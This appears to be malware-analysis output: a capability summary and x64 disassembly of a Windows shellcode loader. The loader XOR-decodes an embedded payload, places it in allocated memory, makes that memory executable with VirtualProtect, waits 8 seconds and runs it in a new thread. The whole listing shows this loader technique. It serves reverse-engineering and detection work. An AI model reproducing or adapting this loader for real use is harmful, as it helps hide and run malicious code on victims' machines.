Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x3d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov ebx, 6
lea rdx, [rsp + 0x40]
mov ecx, ebx
lea rax, [0x140003270]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001032
mov rcx, qword [rax + 0x70]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [0x1400035f0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, byte [rax + 0x7c]
mov eax, 0x340
mov byte [rdx + 0x7c], cl
xor ecx, ecx
nop
movdqu xmm0, xmmword [rsp + rcx + 0x40]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x50]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x50], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x60]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x60], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x70]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x70], xmm1
add rcx, 0x40
cmp rcx, rax
jl 0x1400010e0
nop word [rax + rax]
xor byte [rsp + rax + 0x40], 0xe9
inc rax
cmp rax, 0x37d
jl 0x140001140
mov edx, 0x37d
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rsp + 0x40]
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
lea r9, [r9 + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [r9 - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [r9 - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [r9 - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [r9 - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [r9 - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x140001180
movups xmm0, xmmword [r9]
mov rax, qword [r9 + 0x70]
mov edx, 0x37d
movups xmm1, xmmword [r9 + 0x10]
mov r8d, 0x10
movups xmmword [rcx], xmm0
movups xmm0, xmmword [r9 + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [r9 + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [r9 + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [r9 + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [r9 + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, byte [r9 + 0x7c]
lea r9, [rsp + 0x30]
mov byte [rcx + 0x7c], al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.1400012c0
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3d0
pop rdi
ret